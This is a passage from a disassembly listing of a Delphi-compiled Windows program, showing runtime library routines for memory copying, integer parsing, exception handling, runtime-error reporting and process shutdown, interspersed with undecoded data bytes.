		jge	short loc_4023EC
		mov	eax, esi


loc_4023EC:				; CODE XREF: .data:004023E8j
		test	edi, edi
		jz	short loc_402401
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4024EC
		mov	eax, ebx
		call	sub_401FF4


loc_402401:				; CODE XREF: .data:004023EEj
		mov	[ebp-4], edi


loc_402404:				; CODE XREF: .data:004023CCj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40242C
		cmp	byte_405035, 0
		jz	short locret_402424
		push	offset dword_4055B4
		call	sub_4010DC	; RtlLeaveCriticalSection

locret_402424:				; CODE XREF: .data:00402418j
		retn
; ---------------------------------------------------------------------------
byte_402425	db 0E9h, 5Eh, 5		; DATA XREF: .data:003D579Eo
					; .data:0040239Eo
		dd 0E5EB0000h
; ---------------------------------------------------------------------------


loc_40242C:				; CODE XREF: .data:00402396j
					; DATA XREF: .data:003D580Co ...
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_402438	proc near		; CODE XREF: sub_402F10+Cp
		push	ebx
		test	eax, eax
		jle	short loc_402452
		call	off_404024
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402454
		mov	al, 1
		call	sub_4024D0
; ---------------------------------------------------------------------------
		db 0EBh, 2
; ---------------------------------------------------------------------------


loc_402452:				; CODE XREF: sub_402438+3j
		xor	ebx, ebx


loc_402454:				; CODE XREF: sub_402438+Fj
		mov	eax, ebx
		pop	ebx
		retn
sub_402438	endp


; =============== S U B	R O U T	I N E =======================================



sub_402458	proc near		; CODE XREF: sub_402EEC+1Cp
		push	ebx
		test	eax, eax
		jz	short loc_402472
		call	off_404028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402474
		mov	al, 2
		call	sub_4024D0
; ---------------------------------------------------------------------------
		db 0EBh, 2
; ---------------------------------------------------------------------------


loc_402472:				; CODE XREF: sub_402458+3j
		xor	ebx, ebx


loc_402474:				; CODE XREF: sub_402458+Fj
		mov	eax, ebx
		pop	ebx
		retn
sub_402458	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402478	proc near		; CODE XREF: sub_402484+42p
					; .data:00402AF3p
		mov	dword_404004, edx
		call	sub_402ED4
sub_402478	endp

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402484	proc near		; CODE XREF: sub_4024D0+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	dword_405008, 0
		jz	short loc_4024A0
		mov	edx, esi
		mov	eax, ebx
		call	dword_405008


loc_4024A0:				; CODE XREF: sub_402484+10j
		test	bl, bl
		jnz	short loc_4024B1
		call	sub_40327C
		mov	ebx, [eax+4]
		jmp	short loc_4024C0
; ---------------------------------------------------------------------------


loc_4024B1:				; CODE XREF: sub_402484+1Ej
		cmp	bl, 18h
		ja	short loc_4024C0
		xor	eax, eax
		mov	al, bl
		mov	bl, byte_404030[eax]


loc_4024C0:				; CODE XREF: sub_402484+2Bj
					; sub_402484+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_402478
sub_402484	endp

; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C08BC35Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4024D0	proc near		; CODE XREF: sub_402438+13p
					; sub_402458+13p
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_402484
sub_4024D0	endp

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_4024DC	proc near		; CODE XREF: sub_40252C+38p
					; sub_40252C+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_40327C
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4024DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024EC	proc near		; CODE XREF: .data:004023F5p
					; sub_402F3C+1Cp
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_40250B
		jz	short loc_402529
		sar	ecx, 2
		js	short loc_402529
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40250B:				; CODE XREF: sub_4024EC+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_402529
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_402529:				; CODE XREF: sub_4024EC+Cj
					; sub_4024EC+11j ...
		pop	edi
		pop	esi
		retn
sub_4024EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40252C	proc near		; CODE XREF: .data:004030FAp
					; .data:00403104p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_40256B
		cmp	ax, 0D7B3h
		ja	short loc_40256B
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_402553
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_402553:				; CODE XREF: sub_40252C+1Ej
		test	esi, esi
		jnz	short loc_40255E
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_40255E:				; CODE XREF: sub_40252C+29j
		test	esi, esi
		jz	short loc_40257D
		mov	eax, esi
		call	sub_4024DC
		jmp	short loc_40257D
; ---------------------------------------------------------------------------


loc_40256B:				; CODE XREF: sub_40252C+Ej
					; sub_40252C+14j
		cmp	ebx, offset dword_405038
		jz	short loc_40257D
		mov	eax, 67h
		call	sub_4024DC


loc_40257D:				; CODE XREF: sub_40252C+34j
					; sub_40252C+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40252C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_402584	proc near		; CODE XREF: .data:004030A9p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_4025FA
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_402597:				; CODE XREF: sub_402584+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_402597
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402608
		cmp	bl, 2Bh
		jz	short loc_40260A


loc_4025AB:				; CODE XREF: sub_402584+89j
		cmp	bl, 24h
		jz	short loc_40260F
		cmp	bl, 78h
		jz	short loc_40260F
		cmp	bl, 58h
		jz	short loc_40260F
		cmp	bl, 30h
		jnz	short loc_4025D2
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_40260F
		cmp	bl, 58h
		jz	short loc_40260F
		test	bl, bl
		jz	short loc_4025F0
		jmp	short loc_4025D6
; ---------------------------------------------------------------------------


loc_4025D2:				; CODE XREF: sub_402584+39j
		test	bl, bl
		jz	short loc_402603


loc_4025D6:				; CODE XREF: sub_402584+4Cj
					; sub_402584+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_402603
		cmp	eax, edi
		ja	short loc_402603
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_4025D6


loc_4025F0:				; CODE XREF: sub_402584+4Aj
		dec	ch
		jz	short loc_4025FD
		test	eax, eax
		jge	short loc_40264C
		jmp	short loc_402603
; ---------------------------------------------------------------------------


loc_4025FA:				; CODE XREF: sub_402584+8j
					; sub_402584+95j
		inc	esi
		jmp	short loc_402603
; ---------------------------------------------------------------------------


loc_4025FD:				; CODE XREF: sub_402584+6Ej
		neg	eax
		jle	short loc_40264C
		js	short loc_40264C


loc_402603:				; CODE XREF: sub_402584+50j
					; sub_402584+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_40264F
; ---------------------------------------------------------------------------


loc_402608:				; CODE XREF: sub_402584+20j
		inc	ch


loc_40260A:				; CODE XREF: sub_402584+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4025AB
; ---------------------------------------------------------------------------


loc_40260F:				; CODE XREF: sub_402584+2Aj
					; sub_402584+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_4025FA


loc_40261B:				; CODE XREF: sub_402584+C0j
		cmp	bl, 61h
		jb	short loc_402623
		sub	bl, 20h


loc_402623:				; CODE XREF: sub_402584+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402636
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_402603
		add	bl, 0Ah


loc_402636:				; CODE XREF: sub_402584+A5j
		cmp	eax, edi
		ja	short loc_402603
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_40261B
		dec	ch
		jnz	short loc_40264C
		neg	eax


loc_40264C:				; CODE XREF: sub_402584+72j
					; sub_402584+7Bj ...
		pop	ecx
		xor	esi, esi


loc_40264F:				; CODE XREF: sub_402584+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402584	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
		dd 60D025FFh, 0C08B0040h, 6ADB3353h, 0FFEEE800h, 0F883FFFFh
		dd 6A1C7507h, 0FFE2E801h, 25FFFFh, 3D0000FFh, 0D00h, 3D0774h
		dd 75000004h, 8B01B302h, 90C35BC3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, word_40400C
		mov	[ebp-8], eax
		lea	eax, [ebp-4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_401068
		test	eax, eax
		jnz	short loc_402708
		xor	eax, eax
		push	ebp
		push	offset byte_402701
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebp-0Ch], 4
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp-4]
		push	eax
		call	sub_401070
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402708
		mov	eax, [ebp-4]
		push	eax
		call	sub_401060
		retn
; ---------------------------------------------------------------------------
byte_402701	db 0E9h, 82h, 2		; DATA XREF: .data:003D5ABEo
					; .data:004026BEo
		dd 0EFEB0000h
; ---------------------------------------------------------------------------


loc_402708:				; CODE XREF: .data:004026B9j
					; DATA XREF: .data:003D5AF2o ...
		mov	ax, word_40400C
		and	ax, 0FFC0h
		mov	dx, [ebp-8]
		and	dx, 3Fh
		or	ax, dx
		mov	word_40400C, ax
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: .data:003D5AA8o
					; .data:004026A8o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: .data:003D5ADCo
					; .data:004026DCo
		align 4
		dd 0D99BE3DBh, 40400C2Dh, 0C08BC300h, 774C085h,	88B01B2h
		dd 0C3FC51FFh, 40103D80h, 76010040h, 6A006A11h,	68006A00h
		dd 0EEDFADFh, 501015FFh, 90C30040h, 40103D80h, 74000040h
		dd 52505017h, 6A026A54h, 0FAE46800h, 15FF0EEDh,	405010h
		dd 5808C483h, 408DC3h, 6A016A54h, 0FAE06800h, 15FF0EEDh
		dd 405010h, 5804C483h, 408DC3h,	40103D80h, 76010040h, 0E9535007h
		dd 0FFFFFFD8h, 408DC3h,	1974C985h, 8001418Bh, 0C74E939h
		dd 75EB3980h, 0C0BE0F0Ch, 3EB4141h, 105C183h, 0C08BC3C1h
		dd 40103D80h, 76010040h, 5152501Dh, 0FFFFCFE8h,	6A5451FFh
		dd 68006A01h, 0EEDFAE1h, 501015FFh, 59590040h, 90C3585Ah
		dd 40103D80h, 76010040h, 6A545212h, 68006A01h, 0EEDFAE2h
		dd 501015FFh, 0C35A0040h, 3D805250h, 404010h, 54107601h
		dd 6A026Ah, 0EDFAE368h,	1015FF0Eh, 5A004050h, 0C08BC358h
		dd 424448Bh, 60440F7h, 0F000000h, 11385h, 0DE388100h, 8B0EEDFAh
		dd 488B1850h, 0FC6E7414h, 0FFFED3E8h, 0C158BFFh, 85004050h
		dd 0F1840FD2h, 0FF000000h, 0FC085D2h, 0E784h, 24548B00h
		dd 244C8B0Ch, 0CE398104h, 740EEFFAh, 0FEDAE837h, 3D80FFFFh
		dd 404014h, 80297600h, 4040103Dh, 20770000h, 4244C8Dh
		dd 4DE85150h, 83FFFFE7h, 0F5800F8h, 0AB84h, 8BC28900h
		dd 8B042444h, 30EB0C48h, 448BC289h, 488B0424h, 143D800Ch
		dd 1004040h, 3D801E76h,	404010h, 50157700h, 824448Dh, 0E8505152h
		dd 0FFFFE710h, 5900F883h, 7074585Ah, 2044883h, 56DB3153h
		dd 8B645557h, 5250531Bh, 24548B51h, 50006A28h, 40293468h
		dd 15FF5200h, 405014h, 28247C8Bh, 93FE8h, 0B0FF00h, 89000000h
		dd 0A0h, 86F8B00h, 0C7045F8Bh, 29600447h, 0C3830040h, 0FE66E805h
		dd 0E3FFFFFFh, 23E9h, 912E800h,	888B0000h, 0
		dd 9089118Bh, 0
		dd 0E908418Bh, 0FFFFFDE0h, 1B8h, 0C08BC300h, 424448Bh
		dd 824548Bh, 60440F7h, 74000000h, 44A8B1Fh, 0B80442C7h
		dd 53004029h, 8B555756h, 0C183086Ah, 0FE46E805h, 0D1FFFFFFh
		dd 5B5E5F5Dh, 1B8h, 0C08BC300h,	3024448Bh, 0B0440C7h, 0E800402Ah
		dd 8ACh, 908Bh,	0A8B0000h, 8889h, 428B0000h, 460830Ch
		dd 0DE3881FDh, 740EEDFAh, 8428B0Dh, 0FFFD6BE8h,	0FD72E8FFh
		dd 0C031FFFFh, 6414C483h, 8B59108Bh, 5D118912h,	0B85B5E5Fh
		dd 1, 408DC3h, 863E8h, 908B00h,	8B000000h, 88890Ah, 8B000000h
		dd 31E80842h, 5AFFFFFDh, 2C24648Bh, 6459C031h, 5D580889h
		dd 0FFFDDFE8h, 0C3E2FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_402A44	proc near		; CODE XREF: sub_401E64+F5p
					; sub_401E64+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_402A44	endp

; ---------------------------------------------------------------------------
		db 0C3h, 8Bh, 0C0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_402A97
		jz	short loc_402AC9
		cmp	eax, 0C000008Eh
		jg	short loc_402A89
		jz	short loc_402ACD
		sub	eax, 0C0000005h
		jz	short loc_402AD9
		sub	eax, 87h
		jz	short loc_402AC1
		dec	eax
		jz	short loc_402AD5
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------


loc_402A89:				; CODE XREF: .data:00402A72j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_402AC9
		jz	short loc_402AC5
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------


loc_402A97:				; CODE XREF: .data:00402A69j
		cmp	eax, 0C0000096h
		jg	short loc_402AAF
		jz	short loc_402ADD
		sub	eax, 0C0000093h
		jz	short loc_402AD5
		dec	eax
		jz	short loc_402ABD
		dec	eax
		jz	short loc_402AD1
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------


loc_402AAF:				; CODE XREF: .data:00402A9Cj
		sub	eax, 0C00000FDh
		jz	short loc_402AE5
		sub	eax, 3Dh
		jz	short loc_402AE1
		jmp	short loc_402AE9
; ---------------------------------------------------------------------------


loc_402ABD:				; CODE XREF: .data:00402AA8j
		mov	al, 0C8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AC1:				; CODE XREF: .data:00402A82j
		mov	al, 0C9h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: .data:00402A93j
		mov	al, 0CDh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AC9:				; CODE XREF: .data:00402A6Bj
					; .data:00402A91j
		mov	al, 0CFh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402ACD:				; CODE XREF: .data:00402A74j
		mov	al, 0C8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AD1:				; CODE XREF: .data:00402AABj
		mov	al, 0D7h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AD5:				; CODE XREF: .data:00402A85j
					; .data:00402AA5j
		mov	al, 0CEh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AD9:				; CODE XREF: .data:00402A7Bj
		mov	al, 0D8h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402ADD:				; CODE XREF: .data:00402A9Ej
		mov	al, 0DAh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AE1:				; CODE XREF: .data:00402AB9j
		mov	al, 0D9h
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AE5:				; CODE XREF: .data:00402AB4j
		mov	al, 0CAh
		jmp	short loc_402AEB
; ---------------------------------------------------------------------------


loc_402AE9:				; CODE XREF: .data:00402A87j
					; .data:00402A95j ...
		mov	al, 0FFh


loc_402AEB:				; CODE XREF: .data:00402ABFj
					; .data:00402AC3j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_402478
; ---------------------------------------------------------------------------
		dd 4C25Dh
dword_402AFC	dd 424448Bh, 60440F7h, 0F000000h, 8985h, 103D8000h, 4040h
					; DATA XREF: sub_3D5F9C+Do
					; sub_402B9C+Do
		dd 448D0F77h, 0E8500424h, 0FFFFE4F8h, 7400F883h, 24448B71h
		dd 25E8FC04h, 8BFFFFFCh, 6A082454h, 42685000h, 5200402Bh
		dd 501415FFh, 5C8B0040h, 3B810424h, 0EEDFADEh, 8B14538Bh
		dd 1D741843h, 500C158Bh, 0D2850040h, 0FEFA840Fh, 0D889FFFFh
		dd 0C085D2FFh, 0FEEE840Fh, 538BFFFFh, 0FCC6E80Ch, 0D8BFFFFh
		dd 405004h, 274C985h, 4C8BD1FFh, 0D9B80424h, 8B000000h
		dd 14891451h, 34AE924h,	0C0310000h, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_402B9C	proc near		; CODE XREF: sub_402CA4+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_402AFC
		mov	[eax+8], ebp
		mov	dword_405624, eax
		retn
sub_402B9C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_402BBC	proc near		; CODE XREF: sub_402DFC:loc_402E86p
		xor	edx, edx
		mov	eax, dword_405624
		test	eax, eax
		jz	short locret_402BE3
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_402BD6
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_402BD4:				; CODE XREF: sub_402BBC+21j
		mov	ecx, [ecx]


loc_402BD6:				; CODE XREF: sub_402BBC+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_402BE3
		cmp	[ecx], eax
		jnz	short loc_402BD4
		mov	eax, [eax]
		mov	[ecx], eax

locret_402BE3:				; CODE XREF: sub_402BBC+9j
					; sub_402BBC+1Dj
		retn
sub_402BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BE4	proc near		; CODE XREF: sub_402DFC:loc_402E55p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_405620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_402C3E
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset word_402C2A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_402C20


loc_402C0E:				; CODE XREF: sub_402BE4+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_402C1C
		call	eax


loc_402C1C:				; CODE XREF: sub_402BE4+34j
		test	ebx, ebx
		jg	short loc_402C0E


loc_402C20:				; CODE XREF: sub_402BE4+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402C3E
; ---------------------------------------------------------------------------
word_402C2A	dw 2DE9h		; DATA XREF: sub_3D5FE4+1Bo
					; sub_402BE4+1Bo
		dd 0E8FFFFFCh, 0FFFFFFB0h, 0FFFD87E8h, 0FDD6E8FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_402C3E:				; CODE XREF: sub_402BE4+10j
					; sub_402BE4+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402BE4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C44	proc near		; CODE XREF: sub_402CA4+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_405628
		test	eax, eax
		jz	short loc_402C9E
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset word_402C8A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_402C80


loc_402C6C:				; CODE XREF: sub_402C44+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	dword_40562C, ebx
		test	eax, eax
		jz	short loc_402C7C
		call	eax


loc_402C7C:				; CODE XREF: sub_402C44+34j
		cmp	esi, ebx
		jg	short loc_402C6C


loc_402C80:				; CODE XREF: sub_402C44+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_402C9E
; ---------------------------------------------------------------------------
word_402C8A	dw 0CDE9h		; DATA XREF: sub_3D6044+19o
					; sub_402C44+19o
		dd 0E8FFFFFBh, 0FFFFFF50h, 0FFFD27E8h, 0FD76E8FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_402C9E:				; CODE XREF: sub_402C44+Dj
					; sub_402C44+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402C44	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_402CA4	proc near		; CODE XREF: sub_4032C8+3Ap
		mov	dword_405010, offset dword_401008
		mov	dword_405014, offset dword_401010
		mov	dword_405628, eax
		xor	eax, eax
		mov	dword_40562C, eax
		mov	dword_405630, edx
		mov	eax, [edx+4]
		mov	dword_40501C, eax
		call	sub_402B9C
		mov	byte_405024, 0
		call	sub_402C44
		retn
sub_402CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CE4	proc near		; CODE XREF: sub_402DFC+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, dword_404000


loc_402CF4:				; CODE XREF: sub_402CE4+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_402CF4
		mov	cl, 1Ch
		mov	eax, dword_404004


loc_402D20:				; CODE XREF: sub_402CE4+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, byte_404074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_402D20
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402CE4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_402D40	proc near		; CODE XREF: sub_402DFC+9Ep
		xor	eax, eax
		xchg	eax, dword_404000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_405620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_402D40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h, 8Bh, 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_402D70	proc near		; CODE XREF: sub_402DFC+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	byte_405034, 0
		jz	short loc_402DD1
		cmp	word_405208, 0D7B2h
		jnz	short loc_402D99
		cmp	dword_405210, 0
		jbe	short loc_402D99
		mov	eax, offset dword_405204
		call	dword_405220


loc_402D99:				; CODE XREF: sub_402D70+13j
					; sub_402D70+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_402DF8
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_402DD1:				; CODE XREF: sub_402D70+8j
		cmp	byte_404018, 0
		jnz	short loc_402DED
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401030


loc_402DED:				; CODE XREF: sub_402D70+68j
		pop	edx
		retn
sub_402D70	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_402DF8	dd 0A0Dh						; sub_402D70+4Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402DFC	proc near		; CODE XREF: sub_402ED4+5p
					; .data:00403567p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_405620
		mov	esi, offset dword_404000
		mov	edi, offset dword_405030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_402E2B
		cmp	dword ptr [edi], 0
		jz	short loc_402E2B


loc_402E1A:				; CODE XREF: sub_402DFC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_402E1A


loc_402E2B:				; CODE XREF: sub_402DFC+17j
					; sub_402DFC+1Cj
		cmp	dword_404004, 0
		jz	short loc_402E45
		call	sub_402CE4
		call	sub_402D70
		xor	eax, eax
		mov	dword_404004, eax


loc_402E45:				; CODE XREF: sub_402DFC+36j
					; sub_402DFC+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_402E55
		cmp	dword ptr [esi], 0
		jnz	short loc_402E55
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_402E55:				; CODE XREF: sub_402DFC+4Dj
					; sub_402DFC+52j
		call	sub_402BE4
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_402E65
		cmp	dword ptr [esi], 0
		jz	short loc_402E86


loc_402E65:				; CODE XREF: sub_402DFC+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_402E86
		call	sub_402FF8
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_402E86
		test	eax, eax
		jz	short loc_402E86
		push	eax
		call	sub_401038	; FreeLibrary


loc_402E86:				; CODE XREF: sub_402DFC+67j
					; sub_402DFC+6Ej ...
		call	sub_402BBC
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_402E94
		call	dword ptr [ebx+24h]


loc_402E94:				; CODE XREF: sub_402DFC+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_402E9F
		call	sub_402D40


loc_402E9F:				; CODE XREF: sub_402DFC+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_402EBB
		cmp	dword_405018, 0
		jz	short loc_402EB3
		call	dword_405018


loc_402EB3:				; CODE XREF: sub_402DFC+AFj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; ExitProcess


loc_402EBB:				; CODE XREF: sub_402DFC+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_402E45
sub_402DFC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C35B5E5Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402ED4	proc near		; CODE XREF: sub_402478+6p
					; sub_402EE0+6j
		mov	dword_404000, eax
		call	sub_402DFC
sub_402ED4	endp

